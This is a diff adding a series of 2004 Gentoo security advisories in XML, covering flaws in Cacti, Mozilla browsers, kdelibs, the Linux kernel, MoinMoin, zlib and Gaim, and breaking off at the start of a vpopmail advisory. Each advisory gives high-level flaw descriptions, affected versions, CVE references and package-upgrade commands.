+++ b/xml/htdocs/security/en/glsa/glsa-200408-21.xml
@@ -0,0 +1,69 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-21">
+  <title>Cacti: SQL injection vulnerability</title>
+  <synopsis>
+    With special configurations of Cacti it is possible to change passwords via
+    a SQL injection attack.
+  </synopsis>
+  <product type="ebuild">cacti</product>
+  <announced>August 23, 2004</announced>
+  <revised>May 22, 2006: 04</revised>
+  <bug>60630</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-analyzer/cacti" auto="yes" arch="*">
+      <unaffected range="ge">0.8.5a-r1</unaffected>
+      <vulnerable range="le">0.8.5a</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Cacti is a complete web-based front end to rrdtool.
+    </p>
+  </background>
+  <description>
+    <p>
+    Cacti is vulnerable to a SQL injection attack where an attacker may
+    inject SQL into the Username field.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could compromise the Cacti service and potentially execute
+    programs with the permissions of the user running Cacti. Only systems
+    with php_flag magic_quotes_gpc set to Off are vulnerable. By default,
+    Gentoo Linux installs PHP with this option set to On.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of Cacti.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest available version of Cacti, as
+    follows:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-analyzer/cacti-0.8.5a-r1&quot;
+    # emerge &quot;&gt;=net-analyzer/cacti-0.8.5a-r1&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://archives.neohapsis.com/archives/fulldisclosure/2004-08/0717.html">Full Disclosure Announcement</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1737">CVE-2004-1737</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 19 Aug 2004 05:36:15 +0000">
+    dmargoli
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 19 Aug 2004 08:02:41 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-22.xml b/xml/htdocs/security/en/glsa/glsa-200408-22.xml
new file mode 100644
index 00000000..870888e4
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-22.xml
@@ -0,0 +1,119 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-22">
+  <title>Mozilla, Firefox, Thunderbird, Galeon, Epiphany: New releases fix vulnerabilities</title>
+  <synopsis>
+    New releases of Mozilla, Epiphany, Galeon, Mozilla Thunderbird, and Mozilla
+    Firefox fix several vulnerabilities, including remote DoS and buffer
+    overflows.
+  </synopsis>
+  <product type="ebuild">www-client/mozilla, www-client/mozilla-firefox, mail-client/mozilla-thunderbird, www-client/galeon, www-client/epiphany</product>
+  <announced>August 23, 2004</announced>
+  <revised>December 30, 2007: 06</revised>
+  <bug>57380</bug>
+  <bug>59419</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-client/mozilla" auto="yes" arch="*">
+      <unaffected range="ge">1.7.2</unaffected>
+      <vulnerable range="lt">1.7.2</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox" auto="yes" arch="*">
+      <unaffected range="ge">0.9.3</unaffected>
+      <vulnerable range="lt">0.9.3</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird" auto="yes" arch="*">
+      <unaffected range="ge">0.7.3</unaffected>
+      <vulnerable range="lt">0.7.3</vulnerable>
+    </package>
+    <package name="www-client/mozilla-bin" auto="yes" arch="*">
+      <unaffected range="ge">1.7.2</unaffected>
+      <vulnerable range="lt">1.7.2</vulnerable>
+    </package>
+    <package name="www-client/mozilla-firefox-bin" auto="yes" arch="*">
+      <unaffected range="ge">0.9.3</unaffected>
+      <vulnerable range="lt">0.9.3</vulnerable>
+    </package>
+    <package name="mail-client/mozilla-thunderbird-bin" auto="yes" arch="*">
+      <unaffected range="ge">0.7.3</unaffected>
+      <vulnerable range="lt">0.7.3</vulnerable>
+    </package>
+    <package name="www-client/epiphany" auto="yes" arch="*">
+      <unaffected range="ge">1.2.7-r1</unaffected>
+      <vulnerable range="lt">1.2.7-r1</vulnerable>
+    </package>
+    <package name="www-client/galeon" auto="yes" arch="*">
+      <unaffected range="ge">1.3.17</unaffected>
+      <vulnerable range="lt">1.3.17</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Mozilla is a popular web browser that includes a mail and newsreader.
+    Galeon and Epiphany are both web browsers that use gecko, the Mozilla
+    rendering engine. Mozilla Firefox is the next-generation browser from
+    the Mozilla project that incorporates advanced features that are yet to
+    be incorporated into Mozilla. Mozilla Thunderbird is the
+    next-generation mail client from the Mozilla project.
+    </p>
+  </background>
+  <description>
+    <p>
+    Mozilla, Galeon, Epiphany, Mozilla Firefox and Mozilla Thunderbird
+    contain the following vulnerabilities:
+    </p>
+    <ul>
+    <li>All Mozilla tools use libpng for graphics. This library contains a
+    buffer overflow which may lead to arbitrary code execution.</li>
+    <li>If a user imports a forged Certificate Authority (CA) certificate,
+    it may overwrite and corrupt the valid CA already installed on the
+    machine.</li>
+    </ul>
+    <p>
+    Mozilla, Mozilla Firefox, and other gecko-based browsers also contain a
+    bug in their caching which may allow the SSL icon to remain visible,
+    even when the site in question is an insecure site.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Users of Mozilla, Mozilla Firefox, and other gecko-based browsers are
+    susceptible to SSL certificate spoofing, a Denial of Service against
+    legitimate SSL sites, crashes, and arbitrary code execution. Users of
+    Mozilla Thunderbird are susceptible to crashes and arbitrary code
+    execution via malicious e-mails.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround for most of these vulnerabilities. All
+    users are advised to upgrade to the latest available version.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest stable version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv your-version
+    # emerge your-version</code>
+  </resolution>
+  <references>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0763">CAN-2004-0763</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0758">CAN-2004-0758</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0597">CAN-2004-0597</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0598">CAN-2004-0598</uri>
+    <uri link="http://www.cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0599">CAN-2004-0599</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu,  5 Aug 2004 18:21:36 +0000">
+    koon
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu,  5 Aug 2004 19:57:21 +0000">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-23.xml b/xml/htdocs/security/en/glsa/glsa-200408-23.xml
new file mode 100644
index 00000000..38fd9261
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-23.xml
@@ -0,0 +1,81 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-23">
+  <title>kdelibs: Cross-domain cookie injection vulnerability</title>
+  <synopsis>
+    The cookie manager component in kdelibs contains a vulnerability allowing
+    an attacker to potentially gain access to a user's session on a legitimate
+    web server.
+  </synopsis>
+  <product type="ebuild">kdelibs</product>
+  <announced>August 24, 2004</announced>
+  <revised>August 24, 2004: 01</revised>
+  <bug>61389</bug>
+  <access>remote</access>
+  <affected>
+    <package name="kde-base/kdelibs" auto="yes" arch="*">
+      <unaffected range="ge">3.2.3-r2</unaffected>
+      <vulnerable range="le">3.2.3-r1</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    KDE is a widely-used desktop environment based on the Qt toolkit.
+    kcookiejar in kdelibs is responsible for storing and managing HTTP cookies.
+    Konqueror uses kcookiejar for storing and managing cookies.
+    </p>
+  </background>
+  <description>
+    <p>
+    kcookiejar contains a vulnerability which may allow a malicious website to
+    set cookies for other websites under the same second-level domain.
+    </p>
+    <p>
+    This vulnerability applies to country-specific secondary top level domains
+    that use more than 2 characters in the secondary part of the domain name,
+    and that use a secondary part other than com, net, mil, org, gov, edu or
+    int. However, certain popular domains, such as co.uk, are not affected.
+    </p>
+  </description>
+  <impact type="low">
+    <p>
+    Users visiting a malicious website using the Konqueror browser may have a
+    session cookie set for them by that site. Later, when the user visits
+    another website under the same domain, the attacker's session cookie will
+    be used instead of the cookie issued by the legitimate site. Depending on
+    the design of the legitimate site, this may allow an attacker to gain
+    access to the user's session. For further explanation on this type of
+    attack, see the paper titled &quot;Session Fixation Vulnerability in
+    Web-based Applications&quot; (reference 2).
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of kdelibs.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All kdelibs users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+
+    # emerge -pv ">=kde-base/kdelibs-3.2.3-r2"
+    # emerge ">=kde-base/kdelibs-3.2.3-r2"</code>
+  </resolution>
+  <references>
+    <uri link="http://www.kde.org/info/security/advisory-20040823-1.txt">KDE Advisory</uri>
+    <uri link="http://www.acros.si/papers/session_fixation.pdf">Session Fixation Vulnerability in Web-based Applications</uri>
+  </references>
+  <metadata tag="requester" timestamp="Mon, 23 Aug 2004 20:45:47 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Tue, 24 Aug 2004 19:26:35 +0000">
+    condordes
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-24.xml b/xml/htdocs/security/en/glsa/glsa-200408-24.xml
new file mode 100644
index 00000000..a0584ec2
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-24.xml
@@ -0,0 +1,233 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-24">
+  <title>Linux Kernel: Multiple information leaks</title>
+  <synopsis>
+    Multiple information leaks have been found in the Linux kernel, allowing an
+    attacker to obtain sensitive data which may be used for further
+    exploitation of the system.
+  </synopsis>
+  <product type="ebuild">Kernel</product>
+  <announced>August 25, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>59378</bug>
+  <bug>59905</bug>
+  <bug>59769</bug>
+  <access>local</access>
+  <affected>
+    <package name="sys-kernel/aa-sources" auto="no" arch="*">
+      <unaffected range="rge">2.4.23-r2</unaffected>
+      <unaffected range="ge">2.6.5-r5</unaffected>
+      <vulnerable range="lt">2.6.5-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/alpha-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.21-r12</unaffected>
+      <vulnerable range="lt">2.4.21-r12</vulnerable>
+    </package>
+    <package name="sys-kernel/ck-sources" auto="no" arch="*">
+      <unaffected range="rge">2.4.26-r1</unaffected>
+      <unaffected range="ge">2.6.7-r5</unaffected>
+      <vulnerable range="lt">2.6.7-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/development-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.8</unaffected>
+      <vulnerable range="lt">2.6.8</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r12</unaffected>
+      <vulnerable range="lt">2.6.7-r12</vulnerable>
+    </package>
+    <package name="sys-kernel/gentoo-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.19-r22</unaffected>
+      <unaffected range="rge">2.4.20-r25</unaffected>
+      <unaffected range="rge">2.4.22-r16</unaffected>
+      <unaffected range="rge">2.4.25-r9</unaffected>
+      <unaffected range="ge">2.4.26-r9</unaffected>
+      <vulnerable range="lt">2.4.26-r9</vulnerable>
+    </package>
+    <package name="sys-kernel/grsec-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.27.2.0.1-r1</unaffected>
+      <vulnerable range="lt">2.4.27.2.0.1-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/gs-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.25_pre7-r11</unaffected>
+      <vulnerable range="lt">2.4.25_pre7-r11</vulnerable>
+    </package>
+    <package name="sys-kernel/hardened-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r7</unaffected>
+      <vulnerable range="lt">2.6.7-r7</vulnerable>
+    </package>
+    <package name="sys-kernel/hardened-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.27-r1</unaffected>
+      <vulnerable range="lt">2.4.27-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/hppa-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7_p14-r1</unaffected>
+      <vulnerable range="lt">2.6.7_p14-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/hppa-sources" auto="no" arch="*">
+      <unaffected range="ge">2.4.26_p7-r1</unaffected>
+      <vulnerable range="lt">2.4.26_p7-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/ia64-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r10</unaffected>
+      <vulnerable range="lt">2.4.24-r10</vulnerable>
+    </package>
+    <package name="sys-kernel/mips-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.25-r8</unaffected>
+      <unaffected range="rge">2.4.26-r8</unaffected>
+      <unaffected range="rge">2.6.4-r8</unaffected>
+      <unaffected range="rge">2.6.6-r8</unaffected>
+      <unaffected range="ge">2.6.7-r5</unaffected>
+      <vulnerable range="lt">2.6.6-r8</vulnerable>
+    </package>
+    <package name="sys-kernel/mm-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.8_rc4-r1</unaffected>
+      <vulnerable range="lt">2.6.8_rc4-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/openmosix-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.24-r4</unaffected>
+      <vulnerable range="lt">2.4.24-r4</vulnerable>
+    </package>
+    <package name="sys-kernel/pac-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.23-r12</unaffected>
+      <vulnerable range="lt">2.4.23-r12</vulnerable>
+    </package>
+    <package name="sys-kernel/pegasos-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.8</unaffected>
+      <vulnerable range="lt">2.6.8</vulnerable>
+    </package>
+    <package name="sys-kernel/rsbac-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r5</unaffected>
+      <vulnerable range="lt">2.4.26-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/rsbac-dev-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.6.7-r5</unaffected>
+      <vulnerable range="lt">2.6.7-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/selinux-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26-r3</unaffected>
+      <vulnerable range="lt">2.4.26-r3</vulnerable>
+    </package>
+    <package name="sys-kernel/sparc-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.27-r1</unaffected>
+      <vulnerable range="lt">2.4.27-r1</vulnerable>
+    </package>
+    <package name="sys-kernel/uclinux-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.26_p0-r6</unaffected>
+      <unaffected range="ge">2.6.7_p0-r5</unaffected>
+      <vulnerable range="lt">2.6.7_p0-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/usermode-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.24-r9</unaffected>
+      <unaffected range="rge">2.4.26-r6</unaffected>
+      <unaffected range="ge">2.6.6-r6</unaffected>
+      <vulnerable range="lt">2.6.6-r6</vulnerable>
+    </package>
+    <package name="sys-kernel/vanilla-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.27</unaffected>
+      <vulnerable range="lt">2.4.27</vulnerable>
+    </package>
+    <package name="sys-kernel/vserver-sources" auto="yes" arch="*">
+      <unaffected range="ge">2.4.26.1.28-r4</unaffected>
+      <vulnerable range="lt">2.4.26.1.28-r4</vulnerable>
+    </package>
+    <package name="sys-kernel/win4lin-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.26-r6</unaffected>
+      <unaffected range="ge">2.6.7-r2</unaffected>
+      <vulnerable range="lt">2.6.7-r5</vulnerable>
+    </package>
+    <package name="sys-kernel/wolk-sources" auto="yes" arch="*">
+      <unaffected range="rge">4.9-r14</unaffected>
+      <unaffected range="rge">4.11-r10</unaffected>
+      <unaffected range="ge">4.14-r7</unaffected>
+      <vulnerable range="lt">4.14-r7</vulnerable>
+    </package>
+    <package name="sys-kernel/xbox-sources" auto="yes" arch="*">
+      <unaffected range="rge">2.4.27-r1</unaffected>
+      <unaffected range="ge">2.6.7-r5</unaffected>
+      <vulnerable range="lt">2.6.7-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    The Linux kernel is responsible for managing the core aspects of a
+    GNU/Linux system, providing an interface for core system applications
+    as well as providing the essential structure and capability to access
+    hardware that is needed for a running system.
+    </p>
+  </background>
+  <description>
+    <p>
+    The Linux kernel allows a local attacker to obtain sensitive kernel
+    information by gaining access to kernel memory via several leaks in the
+    /proc interfaces. These vulnerabilities exist in various drivers which
+    make up a working Linux kernel, some of which are present across all
+    architectures and configurations.
+    </p>
+    <p>
+    CAN-2004-0415 deals with addressing invalid 32 to 64 bit conversions in
+    the kernel, as well as insecure direct access to file offset pointers
+    in kernel code which can be modified by the open(...), lseek(...) and
+    other core system I/O functions by an attacker.
+    </p>
+    <p>
+    CAN-2004-0685 deals with certain USB drivers using uninitialized
+    structures and then using the copy_to_user(...) kernel call to copy
+    these structures. This may leak uninitialized kernel memory, which can
+    contain sensitive information from user applications.
+    </p>
+    <p>
+    Finally, a race condition with the /proc/.../cmdline node was found,
+    allowing environment variables to be read while the process was still
+    spawning. If the race is won, environment variables of the process,
+    which might not be owned by the attacker, can be read.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilities allow a local unprivileged attacker to access
+    segments of kernel memory or environment variables which may contain
+    sensitive information. Kernel memory may contain passwords, data
+    transferred between processes and any memory which applications did not
+    clear upon exiting as well as the kernel cache and kernel buffers.
+    </p>
+    <p>
+    This information may be used to read sensitive data, open other attack
+    vectors for further exploitation or cause a Denial of Service if the
+    attacker can gain superuser access via the leaked information.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no temporary workaround for any of these information leaks
+    other than totally disabling /proc support - otherwise, a kernel
+    upgrade is required. A list of unaffected kernels is provided along
+    with this announcement.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    Users are encouraged to upgrade to the latest available sources for
+    their system:
+    </p>
+    <code>
+    # emerge sync
+    # emerge -pv your-favorite-sources
+    # emerge your-favorite-sources
+    
+    # # Follow usual procedure for compiling and installing a kernel.
+    # # If you use genkernel, run genkernel as you would normally.</code>
+  </resolution>
+  <references>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0415">CAN-2004-0415</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2004-0685">CAN-2004-0685</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1058">CVE-2004-1058</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Tue, 17 Aug 2004 02:16:55 +0000">
+    plasmaroo
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-25.xml b/xml/htdocs/security/en/glsa/glsa-200408-25.xml
new file mode 100644
index 00000000..97a72e91
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-25.xml
@@ -0,0 +1,70 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-25">
+  <title>MoinMoin: Group ACL bypass</title>
+  <synopsis>
+    MoinMoin contains a bug allowing anonymous users to bypass ACLs (Access
+    Control Lists) and carry out operations that should be limited to
+    authorized users.
+  </synopsis>
+  <product type="ebuild">MoinMoin</product>
+  <announced>August 26, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>57913</bug>
+  <access>remote</access>
+  <affected>
+    <package name="www-apps/moinmoin" auto="yes" arch="*">
+      <unaffected range="ge">1.2.3</unaffected>
+      <vulnerable range="le">1.2.2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    MoinMoin is a Python clone of WikiWiki, based on PikiPiki.
+    </p>
+  </background>
+  <description>
+    <p>
+    MoinMoin contains two unspecified bugs, one allowing anonymous users
+    elevated access when not using ACLs, and the other in the ACL handling
+    in the PageEditor.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    Restrictions on anonymous users were not properly enforced. This could
+    lead to unauthorized users gaining administrative access to functions
+    such as "revert" and "delete". Sites are vulnerable whether or not they
+    are using ACLs.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All users should upgrade to the latest available version of MoinMoin,
+    as follows:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=www-apps/moinmoin-1.2.3&quot;
+    # emerge &quot;&gt;=www-apps/moinmoin-1.2.3&quot;</code>
+  </resolution>
+  <references>
+    <uri link="https://sourceforge.net/project/shownotes.php?group_id=8482&amp;release_id=254801">MoinMoin Announcement</uri>
+    <uri link="http://www.osvdb.org/displayvuln.php?osvdb_id=8194">OSVDB Advisory 8194</uri>
+    <uri link="http://www.osvdb.org/displayvuln.php?osvdb_id=8195">OSVDB Advisory 8195</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1462">CVE-2004-1462</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-1463">CVE-2004-1463</uri>
+  </references>
+  <metadata tag="submitter" timestamp="Thu, 19 Aug 2004 05:10:31 +0000">
+    dmargoli
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-26.xml b/xml/htdocs/security/en/glsa/glsa-200408-26.xml
new file mode 100644
index 00000000..0efe6071
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-26.xml
@@ -0,0 +1,71 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-26">
+  <title>zlib: Denial of service vulnerability</title>
+  <synopsis>
+    The zlib library contains a Denial of Service vulnerability.
+  </synopsis>
+  <product type="ebuild">zlib</product>
+  <announced>August 27, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>61749</bug>
+  <access>remote</access>
+  <affected>
+    <package name="sys-libs/zlib" auto="yes" arch="*">
+      <unaffected range="ge">1.2.1-r3</unaffected>
+      <vulnerable range="le">1.2.1-r2</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    zlib is a general-purpose data-compression library.
+    </p>
+  </background>
+  <description>
+    <p>
+    zlib contains a bug in the handling of errors in the "inflate()" and
+    "inflateBack()" functions.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    An attacker could exploit this vulnerability to launch a Denial of
+    Service attack on any application using the zlib library.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of zlib.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All zlib users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=sys-libs/zlib-1.2.1-r3&quot;
+    # emerge &quot;&gt;=sys-libs/zlib-1.2.1-r3&quot;</code>
+    <p>
+    You should also run revdep-rebuild to rebuild any packages that depend
+    on older versions of zlib :
+    </p>
+    <code>
+    # revdep-rebuild</code>
+  </resolution>
+  <references>
+    <uri link="http://www.openpkg.org/security/OpenPKG-SA-2004.038-zlib.html">OpenPKG-SA-2004.038-zlib</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0797">CVE-2004-0797</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 26 Aug 2004 19:08:52 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Fri, 27 Aug 2004 05:21:24 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200408-27.xml b/xml/htdocs/security/en/glsa/glsa-200408-27.xml
new file mode 100644
index 00000000..bc97a369
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200408-27.xml
@@ -0,0 +1,83 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200408-27">
+  <title>Gaim: New vulnerabilities</title>
+  <synopsis>
+    Gaim contains several security issues that might allow an attacker to
+    execute arbitrary code or commands.
+  </synopsis>
+  <product type="ebuild">Gaim</product>
+  <announced>August 27, 2004</announced>
+  <revised>May 22, 2006: 02</revised>
+  <bug>61457</bug>
+  <access>remote</access>
+  <affected>
+    <package name="net-im/gaim" auto="yes" arch="*">
+      <unaffected range="ge">0.81-r5</unaffected>
+      <vulnerable range="lt">0.81-r5</vulnerable>
+    </package>
+  </affected>
+  <background>
+    <p>
+    Gaim is a multi-protocol instant messaging client for Linux which
+    supports many instant messaging protocols.
+    </p>
+  </background>
+  <description>
+    <p>
+    Gaim fails to do proper bounds checking when:
+    </p>
+    <ul>
+    <li>Handling MSN messages (partially fixed with GLSA 200408-12).</li>
+    <li>Handling rich text format messages.</li>
+    <li>Resolving local hostname.</li>
+    <li>Receiving long URLs.</li>
+    <li>Handling groupware messages.</li>
+    <li>Allocating memory for webpages with fake content-length
+    header.</li>
+    </ul>
+    <p>
+    Furthermore Gaim fails to escape filenames when using drag and drop
+    installation of smiley themes.
+    </p>
+  </description>
+  <impact type="normal">
+    <p>
+    These vulnerabilites could allow an attacker to crash Gaim or execute
+    arbitrary code or commands with the permissions of the user running
+    Gaim.
+    </p>
+  </impact>
+  <workaround>
+    <p>
+    There is no known workaround at this time. All users are encouraged to
+    upgrade to the latest available version of Gaim.
+    </p>
+  </workaround>
+  <resolution>
+    <p>
+    All gaim users should upgrade to the latest version:
+    </p>
+    <code>
+    # emerge sync
+    
+    # emerge -pv &quot;&gt;=net-im/gaim-0.81-r5&quot;
+    # emerge &quot;&gt;=net-im/gaim-0.81-r5&quot;</code>
+  </resolution>
+  <references>
+    <uri link="http://gaim.sourceforge.net/security/index.php">Gaim security issues</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0500">CVE-2004-0500</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0754">CVE-2004-0754</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0784">CVE-2004-0784</uri>
+    <uri link="http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2004-0785">CVE-2004-0785</uri>
+  </references>
+  <metadata tag="requester" timestamp="Thu, 26 Aug 2004 15:30:26 +0000">
+    jaervosz
+  </metadata>
+  <metadata tag="submitter" timestamp="Thu, 26 Aug 2004 19:01:27 +0000">
+    jaervosz
+  </metadata>
+</glsa>
diff --git a/xml/htdocs/security/en/glsa/glsa-200409-01.xml b/xml/htdocs/security/en/glsa/glsa-200409-01.xml
new file mode 100644
index 00000000..76a7d249
--- /dev/null
+++ b/xml/htdocs/security/en/glsa/glsa-200409-01.xml
@@ -0,0 +1,66 @@
+<?xml version="1.0" encoding="utf-8"?>
+<?xml-stylesheet href="/xsl/glsa.xsl" type="text/xsl"?>
+<?xml-stylesheet href="/xsl/guide.xsl" type="text/xsl"?>
+<!DOCTYPE glsa SYSTEM "http://www.gentoo.org/dtd/glsa.dtd">
+
+<glsa id="200409-01">
+  <title>vpopmail: Multiple vulnerabilities</title>
+  <synopsis>
+    vpopmail contains several bugs making it vulnerable to several SQL
+    injection exploits as well as one buffer overflow and one format string
+    exploit when using Sybase. This could lead to the execution of arbitrary
+    code.
+  </synopsis>
+  <product type="ebuild">vpopmail</product>
+  <announced>September 01, 2004</announced>
